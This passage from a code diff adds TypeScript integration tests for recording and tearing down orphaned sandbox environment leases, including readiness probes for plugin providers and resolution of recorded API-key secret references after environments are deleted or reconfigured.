+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        })
+        .then(
+          () => {
+            throw new Error("acquireRunLease resolved but must reject");
+          },
+          (error: unknown) => error,
+        );
+
+      expect(rejection).toBeInstanceOf(SandboxOrphanCleanupWriteError);
+      expect(rejection).toMatchObject({ provider: "fake-plugin", providerLeaseId: "plugin-lease-write-fail" });
+      expect((rejection as SandboxOrphanCleanupWriteError).cause).toMatchObject({
+        status: 403,
+        details: { code: "environment_company_mismatch" },
+      });
+      // The durable write failed before it created a row, so no lease row exists.
+      const rows = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id));
+      expect(rows).toHaveLength(0);
+    } finally {
+      factorySpy.mockRestore();
+    }
+
+    await environmentService(db).update(environment.id, { driver: "local", config: {} });
+  });
+
+  it("records the orphan directly in the pending_cleanup state with one atomic insert", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Atomic Pending Cleanup Insert",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+
+    const lease = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: runId,
+      provider: "fake",
+      providerLeaseId: "sandbox://fake/atomic-orphan",
+      metadata: { provider: "fake", reuseLease: false },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+
+    // The returned lease is already in the terminal recovery state. It never
+    // passes through the `active` state, so a crash cannot strand the orphan.
+    expect(lease.status).toBe("pending_cleanup");
+    expect(lease.cleanupStatus).toBe("failed");
+    expect(lease.leasePolicy).toBe("ephemeral");
+    expect(lease.failureReason).toBe("acquire_rejected_teardown_failed");
+    expect(lease.providerLeaseId).toBe("sandbox://fake/atomic-orphan");
+    expect(lease.releasedAt).not.toBeNull();
+
+    // One insert created exactly one row, and the sweep reads that row directly.
+    const rows = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.environmentId, environment.id));
+    expect(rows).toHaveLength(1);
+    expect(rows[0]?.status).toBe("pending_cleanup");
+    expect(rows[0]?.cleanupStatus).toBe("failed");
+  });
+
+  it("tears the recorded built-in provider lease down for a pending-cleanup orphan", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Cleanup Retry Built-in",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Retry Built-in",
+      issuePrefix: "OTE",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    // The first teardown fails, so the acquire records a pending-cleanup orphan.
+    // The sweep then retries the teardown, which succeeds this time.
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValueOnce(new Error("teardown failed"))
+      .mockResolvedValue(undefined);
+    try {
+      await expect(
+        runtime.acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        }),
+      ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+      const orphan = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id))
+        .then((r) => r[0]!);
+      expect(orphan.status).toBe("pending_cleanup");
+      const providerLeaseId = orphan.providerLeaseId;
+
+      // The teardown accepts a null environment and reads the recorded provider
+      // lease, so a delete or a provider change never strands it.
+      const lease = await environmentService(db).getLeaseById(orphan.id);
+      await runtime.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+      // The retry called the provider teardown a second time with the orphan
+      // provider lease id.
+      expect(destroySpy).toHaveBeenCalledTimes(2);
+      expect(destroySpy).toHaveBeenLastCalledWith(expect.objectContaining({ providerLeaseId }));
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("throws and keeps the pending-cleanup orphan when the teardown retry fails", async () => {
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Cleanup Retry Scope",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Retry Scope",
+      issuePrefix: "OTF",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValue(new Error("teardown failed"));
+    try {
+      await expect(
+        runtime.acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        }),
+      ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+      const orphan = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id))
+        .then((r) => r[0]!);
+      expect(orphan.status).toBe("pending_cleanup");
+
+      // The teardown retries, but the provider destroy still fails, so the
+      // teardown throws. The caller keeps the orphan pending for a later sweep.
+      const lease = await environmentService(db).getLeaseById(orphan.id);
+      await expect(
+        runtime.retryPendingSandboxTeardown({ environment: null, lease: lease! }),
+      ).rejects.toThrow();
+
+      const still = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.id, orphan.id))
+        .then((r) => r[0]!);
+      expect(still.status).toBe("pending_cleanup");
+      expect(still.cleanupStatus).toBe("failed");
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("tears the recorded provider down after the environment provider changes", async () => {
+    // Ordering: an acquire provisions a sandbox with provider A, the lease
+    // insert rejects a foreign-company binding, and the compensating teardown
+    // fails, so the acquire records an orphan for provider A. A provider change
+    // then re-points the environment before the sweep runs. The sweep must tear
+    // the orphan down from the recorded provider metadata, not the current
+    // environment provider, so the change cannot strand the teardown.
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Provider Change Vs Orphan",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+    const otherCompanyId = randomUUID();
+    await db.insert(companies).values({
+      id: otherCompanyId,
+      name: "Other Co Provider Change",
+      issuePrefix: "OTP",
+      status: "active",
+      createdAt: new Date(),
+      updatedAt: new Date(),
+    });
+    await db.insert(builtInManagedResources).values({
+      companyId: otherCompanyId,
+      bundleKey: "managed-environment",
+      resourceKind: "environment",
+      resourceKey: "managed-sandbox",
+      resourceId: environment.id,
+      stockVersion: "1",
+      stockHash: "hash",
+    });
+
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockRejectedValueOnce(new Error("teardown failed"))
+      .mockResolvedValue(undefined);
+    try {
+      await expect(
+        runtime.acquireRunLease({
+          companyId,
+          environment,
+          issueId: null,
+          heartbeatRunId: runId,
+          persistedExecutionWorkspace: null,
+          assertCompanyBinding: true,
+        }),
+      ).rejects.toMatchObject({ status: 403, details: { code: "environment_company_mismatch" } });
+
+      const orphan = await db
+        .select()
+        .from(environmentLeases)
+        .where(eq(environmentLeases.environmentId, environment.id))
+        .then((r) => r[0]!);
+      expect(orphan.status).toBe("pending_cleanup");
+      expect(orphan.provider).toBe("fake");
+      const providerLeaseId = orphan.providerLeaseId;
+
+      // The provider-target mutation re-points the environment to a different
+      // driver. The orphan teardown must not depend on this current config.
+      await environmentService(db).update(environment.id, { driver: "local", config: {} });
+
+      // The teardown tears the recorded provider lease down, so it never reads
+      // the re-pointed environment provider.
+      const lease = await environmentService(db).getLeaseById(orphan.id);
+      await runtime.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+      expect(destroySpy).toHaveBeenLastCalledWith(expect.objectContaining({ providerLeaseId }));
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("reports the plugin cleanup worker not ready while its worker is down, then ready after it recovers", async () => {
+    // A pending_cleanup orphan targets a plugin-backed provider. The sweep must
+    // not consume a finite retry attempt while the plugin worker is briefly down.
+    // So the readiness probe reports "not ready" for a down worker and "ready"
+    // after the worker recovers. A built-in provider has no worker, so it is
+    // always ready.
+    const pluginId = randomUUID();
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Cleanup Worker Readiness",
+      config: { provider: "fake-plugin-ready", image: "fake:test", reuseLease: false },
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-ready-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-ready-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-ready-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Ready Sandbox Provider",
+        description: "Test fake plugin provider readiness",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin-ready",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin Ready",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+
+    // The worker is down at first, then recovers on the second probe.
+    let workerRunning = false;
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId && workerRunning),
+      call: vi.fn(async () => {
+        throw new Error("call must not run during a readiness probe");
+      }),
+    } as unknown as PluginWorkerManager;
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: runId,
+      provider: "fake-plugin-ready",
+      providerLeaseId: "plugin-lease-readiness",
+      metadata: { provider: "fake-plugin-ready", driver: "sandbox", reuseLease: false },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    const lease = (await environmentService(db).getLeaseById(orphan.id))!;
+
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    // A down plugin worker is the transient restart window, so the probe reports
+    // not ready. The sweep skips the lease without a claim, so no attempt burns.
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease }),
+    ).resolves.toBe(false);
+    // The probe never calls the worker; it only checks the live worker state.
+    expect((workerManager.call as ReturnType<typeof vi.fn>)).not.toHaveBeenCalled();
+
+    // The worker recovers, so the probe now reports ready and the sweep proceeds.
+    workerRunning = true;
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease }),
+    ).resolves.toBe(true);
+
+    // A built-in provider has no plugin worker, so its orphan is always ready.
+    const builtinOrphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: runId,
+      provider: "fake",
+      providerLeaseId: "builtin-lease-readiness",
+      metadata: { provider: "fake", driver: "sandbox", reuseLease: false },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    const builtinLease = (await environmentService(db).getLeaseById(builtinOrphan.id))!;
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease: builtinLease }),
+    ).resolves.toBe(true);
+  });
+
+  it("reports the plugin cleanup provider not ready while the plugin is not ready, then ready after it recovers", async () => {
+    // A pending_cleanup orphan targets a plugin-backed provider. A plugin reload
+    // or a plugin reinstall moves the plugin through a "not ready" status. The
+    // sweep must not consume a finite retry attempt in that transient window. So
+    // the readiness probe reports "not ready" while the plugin status is not
+    // "ready", even when its worker runs, and "ready" after the plugin recovers.
+    const pluginId = randomUUID();
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Cleanup Plugin Readiness",
+      config: { provider: "fake-plugin-reload", image: "fake:test", reuseLease: false },
+    });
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-reload-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-reload-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-reload-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Reload Sandbox Provider",
+        description: "Test fake plugin provider reload readiness",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin-reload",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin Reload",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      // The plugin starts in a not-ready status, as during a reload.
+      status: "installing",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+
+    // The worker runs the whole time, so the probe result depends on the plugin
+    // status alone, not on a down worker.
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async () => {
+        throw new Error("call must not run during a readiness probe");
+      }),
+    } as unknown as PluginWorkerManager;
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: runId,
+      provider: "fake-plugin-reload",
+      providerLeaseId: "plugin-lease-reload",
+      metadata: { provider: "fake-plugin-reload", driver: "sandbox", reuseLease: false },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    const lease = (await environmentService(db).getLeaseById(orphan.id))!;
+
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    // A not-ready plugin is the transient reload window, so the probe reports
+    // not ready. The sweep skips the lease without a claim, so no attempt burns.
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease }),
+    ).resolves.toBe(false);
+    expect((workerManager.call as ReturnType<typeof vi.fn>)).not.toHaveBeenCalled();
+
+    // The plugin becomes ready, so the probe now reports ready and the sweep
+    // proceeds.
+    await db.update(plugins).set({ status: "ready" }).where(eq(plugins.id, pluginId));
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease }),
+    ).resolves.toBe(true);
+  });
+
+  it("reports the plugin cleanup provider not ready while the plugin is missing, then ready after it returns", async () => {
+    // A pending_cleanup orphan targets a plugin-backed provider whose plugin row
+    // is gone. A plugin reinstall removes and re-adds the plugin row, so the row
+    // is missing for a short window. The sweep must not consume a finite retry
+    // attempt in that window. So the readiness probe reports "not ready" while no
+    // plugin row resolves the provider, and "ready" after the plugin returns.
+    const pluginId = randomUUID();
+    const { companyId, environment, runId } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Cleanup Plugin Missing",
+      config: { provider: "fake-plugin-missing", image: "fake:test", reuseLease: false },
+    });
+
+    // The worker manager reports the plugin worker as running, so the probe
+    // result depends on the missing plugin row alone, not on a down worker.
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async () => {
+        throw new Error("call must not run during a readiness probe");
+      }),
+    } as unknown as PluginWorkerManager;
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      executionWorkspaceId: null,
+      issueId: null,
+      heartbeatRunId: runId,
+      provider: "fake-plugin-missing",
+      providerLeaseId: "plugin-lease-missing",
+      metadata: { provider: "fake-plugin-missing", driver: "sandbox", reuseLease: false },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    const lease = (await environmentService(db).getLeaseById(orphan.id))!;
+
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    // No plugin row resolves the provider, so the probe reports not ready. The
+    // sweep skips the lease without a claim, so no attempt burns while the plugin
+    // reinstall is in flight.
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease }),
+    ).resolves.toBe(false);
+    expect((workerManager.call as ReturnType<typeof vi.fn>)).not.toHaveBeenCalled();
+
+    // The plugin reinstall completes, so a ready plugin row now resolves the
+    // provider and the probe reports ready.
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: "paperclip.fake-plugin-missing-sandbox-provider",
+      packageName: "@paperclipai/plugin-fake-missing-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: "paperclip.fake-plugin-missing-sandbox-provider",
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Fake Plugin Missing Sandbox Provider",
+        description: "Test fake plugin provider missing readiness",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: "fake-plugin-missing",
+            kind: "sandbox_provider",
+            displayName: "Fake Plugin Missing",
+            configSchema: { type: "object" },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    await expect(
+      runtimeWithPlugin.isPendingCleanupWorkerReady({ environment, lease }),
+    ).resolves.toBe(true);
+  });
+
+  it("records an orphan with a null reference when a delete already removed the environment", async () => {
+    // Ordering: a delete removes the environment before the acquire records the
+    // orphan. The environment foreign key must not fail the insert. The record
+    // persists with a null reference and its immutable provider metadata, so a
+    // later sweep still tears the orphan down.
+    const { companyId, environment } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Delete Before Orphan Record",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+
+    // Remove the environment row first, so the record happens after the delete.
+    await environmentService(db).remove(environment.id);
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      provider: "fake",
+      providerLeaseId: "sandbox://fake/delete-before-record",
+      metadata: { provider: "fake", image: "ubuntu:24.04", driver: "sandbox" },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    // The insert kept no environment reference, so the delete did not fail it.
+    expect(orphan.environmentId).toBeNull();
+    expect(orphan.status).toBe("pending_cleanup");
+
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockResolvedValue(undefined);
+    try {
+      // The recorded metadata drives the teardown, so a null environment tears
+      // the orphan down.
+      const lease = await environmentService(db).getLeaseById(orphan.id);
+      await runtime.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+      expect(destroySpy).toHaveBeenCalledWith(
+        expect.objectContaining({ providerLeaseId: "sandbox://fake/delete-before-record" }),
+      );
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  it("keeps the orphan and tears it down after the environment is deleted", async () => {
+    // Ordering: an orphan is recorded, then the environment is deleted. The
+    // foreign key sets the reference null instead of cascading the row away, so
+    // the orphan survives. The sweep tears it down from the recorded metadata.
+    const { companyId, environment } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Delete After Orphan Record",
+      config: { provider: "fake", image: "ubuntu:24.04", reuseLease: false },
+    });
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      provider: "fake",
+      providerLeaseId: "sandbox://fake/delete-after-record",
+      metadata: { provider: "fake", image: "ubuntu:24.04", driver: "sandbox" },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    expect(orphan.environmentId).toBe(environment.id);
+
+    // Delete the environment row directly. The foreign key sets the lease
+    // reference null, so the orphan survives instead of being cascaded away.
+    await environmentService(db).remove(environment.id);
+    const survived = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, orphan.id))
+      .then((r) => r[0]!);
+    expect(survived.environmentId).toBeNull();
+    expect(survived.status).toBe("pending_cleanup");
+
+    const destroySpy = vi
+      .spyOn(sandboxProviderRuntime, "destroySandboxProviderLease")
+      .mockResolvedValue(undefined);
+    try {
+      // The recorded metadata drives the teardown, so a null environment tears
+      // the orphan down after the delete set the reference null.
+      const lease = await environmentService(db).getLeaseById(orphan.id);
+      await runtime.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+      expect(destroySpy).toHaveBeenCalledWith(
+        expect.objectContaining({ providerLeaseId: "sandbox://fake/delete-after-record" }),
+      );
+    } finally {
+      destroySpy.mockRestore();
+    }
+  });
+
+  // A plugin provider whose config declares an `apiKey` secret-ref field. The
+  // orphan teardown must resolve that recorded ref even when the environment
+  // binding is gone, so these tests register a provider with a real secret-ref
+  // field, unlike the plain `fake-plugin` tests above.
+  const SECRET_REF_PLUGIN_KEY = "paperclip.secret-plugin-sandbox-provider";
+  const SECRET_REF_PROVIDER = "secret-plugin";
+
+  async function registerSecretRefPluginProvider(): Promise<string> {
+    const pluginId = randomUUID();
+    await db.insert(plugins).values({
+      id: pluginId,
+      pluginKey: SECRET_REF_PLUGIN_KEY,
+      packageName: "@paperclipai/plugin-secret-sandbox",
+      version: "1.0.0",
+      apiVersion: 1,
+      categories: ["automation"],
+      manifestJson: {
+        id: SECRET_REF_PLUGIN_KEY,
+        apiVersion: 1,
+        version: "1.0.0",
+        displayName: "Secret Plugin Sandbox Provider",
+        description: "Test plugin provider with a secret-ref config field",
+        author: "Paperclip",
+        categories: ["automation"],
+        capabilities: ["environment.drivers.register"],
+        entrypoints: { worker: "dist/worker.js" },
+        environmentDrivers: [
+          {
+            driverKey: SECRET_REF_PROVIDER,
+            kind: "sandbox_provider",
+            displayName: "Secret Plugin",
+            configSchema: {
+              type: "object",
+              properties: {
+                apiKey: { type: "string", format: "secret-ref" },
+              },
+            },
+          },
+        ],
+      },
+      status: "ready",
+      installOrder: 1,
+      updatedAt: new Date(),
+    } as any);
+    return pluginId;
+  }
+
+  // A worker manager mock that records the config of each destroy call, so a
+  // test can assert the resolved API key reached the provider teardown.
+  function createDestroyRecordingWorkerManager(pluginId: string): {
+    workerManager: PluginWorkerManager;
+    destroyConfigs: Array<Record<string, unknown> | undefined>;
+  } {
+    const destroyConfigs: Array<Record<string, unknown> | undefined> = [];
+    const workerManager = {
+      isRunning: vi.fn((id: string) => id === pluginId),
+      call: vi.fn(async (_pluginId: string, method: string, args: any) => {
+        if (method === "environmentDestroyLease") {
+          destroyConfigs.push(args?.config as Record<string, unknown> | undefined);
+          return {};
+        }
+        throw new Error(`Unexpected plugin method: ${method}`);
+      }),
+    } as unknown as PluginWorkerManager;
+    return { workerManager, destroyConfigs };
+  }
+
+  async function createApiKeySecret(companyId: string, value: string): Promise<string> {
+    const secret = await secretService(db).create(companyId, {
+      name: `sandbox-cleanup-api-key-${randomUUID()}`,
+      provider: "local_encrypted",
+      value,
+    });
+    return secret.id;
+  }
+
+  it("tears down a secret-backed plugin orphan when a delete already removed the environment", async () => {
+    // Ordering: a delete removed the environment (and its secret binding) before
+    // the acquire recorded the orphan. The recorded config keeps the API-key
+    // secret ref, so the teardown must resolve it without the environment
+    // binding and send the resolved value to the provider destroy call.
+    const pluginId = await registerSecretRefPluginProvider();
+    const { companyId, environment } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Secret Plugin Delete Before Record",
+      config: { provider: SECRET_REF_PROVIDER, reuseLease: false },
+    });
+    const secretId = await createApiKeySecret(companyId, "old-provider-api-key");
+    await secretService(db).createBinding({
+      companyId,
+      secretId,
+      targetType: "environment",
+      targetId: environment.id,
+      configPath: "apiKey",
+    });
+
+    // Remove the environment first, so the record happens after the delete.
+    await environmentService(db).remove(environment.id);
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      provider: SECRET_REF_PROVIDER,
+      providerLeaseId: "secret-plugin-lease-delete-before",
+      metadata: {
+        provider: SECRET_REF_PROVIDER,
+        driver: "sandbox",
+        sandboxProviderPlugin: true,
+        pluginId,
+        pluginKey: SECRET_REF_PLUGIN_KEY,
+        apiKey: secretId,
+        reuseLease: false,
+      },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    expect(orphan.environmentId).toBeNull();
+    expect(orphan.status).toBe("pending_cleanup");
+
+    const { workerManager, destroyConfigs } = createDestroyRecordingWorkerManager(pluginId);
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const lease = await environmentService(db).getLeaseById(orphan.id);
+    await runtimeWithPlugin.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+    expect(destroyConfigs).toHaveLength(1);
+    // The recorded secret ref resolved to the old credential, and the resolved
+    // value reached the provider teardown instead of the secret ref.
+    expect(destroyConfigs[0]).toMatchObject({ apiKey: "old-provider-api-key" });
+    expect(destroyConfigs[0]?.apiKey).not.toBe(secretId);
+  });
+
+  it("tears down a secret-backed plugin orphan after the environment is deleted", async () => {
+    // Ordering: the orphan is recorded, then a delete removes the environment.
+    // The foreign key sets the lease reference null, so the orphan survives. The
+    // teardown resolves the recorded API-key ref without the environment.
+    const pluginId = await registerSecretRefPluginProvider();
+    const { companyId, environment } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Secret Plugin Delete After Record",
+      config: { provider: SECRET_REF_PROVIDER, reuseLease: false },
+    });
+    const secretId = await createApiKeySecret(companyId, "old-provider-api-key");
+    await secretService(db).createBinding({
+      companyId,
+      secretId,
+      targetType: "environment",
+      targetId: environment.id,
+      configPath: "apiKey",
+    });
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      provider: SECRET_REF_PROVIDER,
+      providerLeaseId: "secret-plugin-lease-delete-after",
+      metadata: {
+        provider: SECRET_REF_PROVIDER,
+        driver: "sandbox",
+        sandboxProviderPlugin: true,
+        pluginId,
+        pluginKey: SECRET_REF_PLUGIN_KEY,
+        apiKey: secretId,
+        reuseLease: false,
+      },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    expect(orphan.environmentId).toBe(environment.id);
+
+    // Delete the environment. The foreign key sets the lease reference null, so
+    // the orphan survives and the current binding is gone.
+    await environmentService(db).remove(environment.id);
+    const survived = await db
+      .select()
+      .from(environmentLeases)
+      .where(eq(environmentLeases.id, orphan.id))
+      .then((r) => r[0]!);
+    expect(survived.environmentId).toBeNull();
+
+    const { workerManager, destroyConfigs } = createDestroyRecordingWorkerManager(pluginId);
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const lease = await environmentService(db).getLeaseById(orphan.id);
+    await runtimeWithPlugin.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+    expect(destroyConfigs).toHaveLength(1);
+    expect(destroyConfigs[0]).toMatchObject({ apiKey: "old-provider-api-key" });
+  });
+
+  it("tears down a secret-backed plugin orphan with the recorded credential after the provider is reconfigured", async () => {
+    // Ordering: the orphan is recorded for the old credential, then the
+    // environment is reconfigured to a new credential. The environment binding
+    // now points to a different secret at the same path. The teardown must
+    // resolve the OLD recorded ref, not the new binding, so it destroys the
+    // sandbox the old credential provisioned.
+    const pluginId = await registerSecretRefPluginProvider();
+    const { companyId, environment } = await seedEnvironment({
+      driver: "sandbox",
+      name: "Secret Plugin Reconfigured",
+      config: { provider: SECRET_REF_PROVIDER, reuseLease: false },
+    });
+    const oldSecretId = await createApiKeySecret(companyId, "old-provider-api-key");
+
+    const orphan = await environmentService(db).insertPendingCleanupLease({
+      companyId,
+      environmentId: environment.id,
+      provider: SECRET_REF_PROVIDER,
+      providerLeaseId: "secret-plugin-lease-reconfigured",
+      metadata: {
+        provider: SECRET_REF_PROVIDER,
+        driver: "sandbox",
+        sandboxProviderPlugin: true,
+        pluginId,
+        pluginKey: SECRET_REF_PLUGIN_KEY,
+        apiKey: oldSecretId,
+        reuseLease: false,
+      },
+      failureReason: "acquire_rejected_teardown_failed",
+    });
+    expect(orphan.environmentId).toBe(environment.id);
+
+    // Reconfigure the environment: a new secret replaces the binding at the same
+    // path. The old recorded ref is no longer bound to the environment.
+    const newSecretId = await createApiKeySecret(companyId, "new-provider-api-key");
+    await secretService(db).createBinding({
+      companyId,
+      secretId: newSecretId,
+      targetType: "environment",
+      targetId: environment.id,
+      configPath: "apiKey",
+    });
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
+      config: { provider: SECRET_REF_PROVIDER, apiKey: newSecretId, reuseLease: false },
+    });
+
+    const { workerManager, destroyConfigs } = createDestroyRecordingWorkerManager(pluginId);
+    const runtimeWithPlugin = environmentRuntimeService(db, { pluginWorkerManager: workerManager });
+
+    const lease = await environmentService(db).getLeaseById(orphan.id);
+    await runtimeWithPlugin.retryPendingSandboxTeardown({ environment: null, lease: lease! });
+    expect(destroyConfigs).toHaveLength(1);
+    // The teardown resolved the OLD recorded credential, not the new binding.
+    expect(destroyConfigs[0]).toMatchObject({ apiKey: "old-provider-api-key" });
+    expect(destroyConfigs[0]?.apiKey).not.toBe("new-provider-api-key");
+
+    await environmentService(db).update(environment.id, { driver: "local", config: {} });
+  });
+
+  it("tears the recorded plugin provider lease down for a pending-cleanup orphan", async () => {
+    const pluginId = randomUUID();
+    const { companyId, environment: baseEnvironment, runId } = await seedEnvironment();
+    const pluginConfig = { provider: "fake-plugin", image: "fake:test", reuseLease: false };
+    const environment = {
+      ...baseEnvironment,
+      name: "Cleanup Retry Plugin",
+      driver: "sandbox",
+      config: pluginConfig,
+    };
+    await environmentService(db).update(environment.id, {
+      driver: "sandbox",
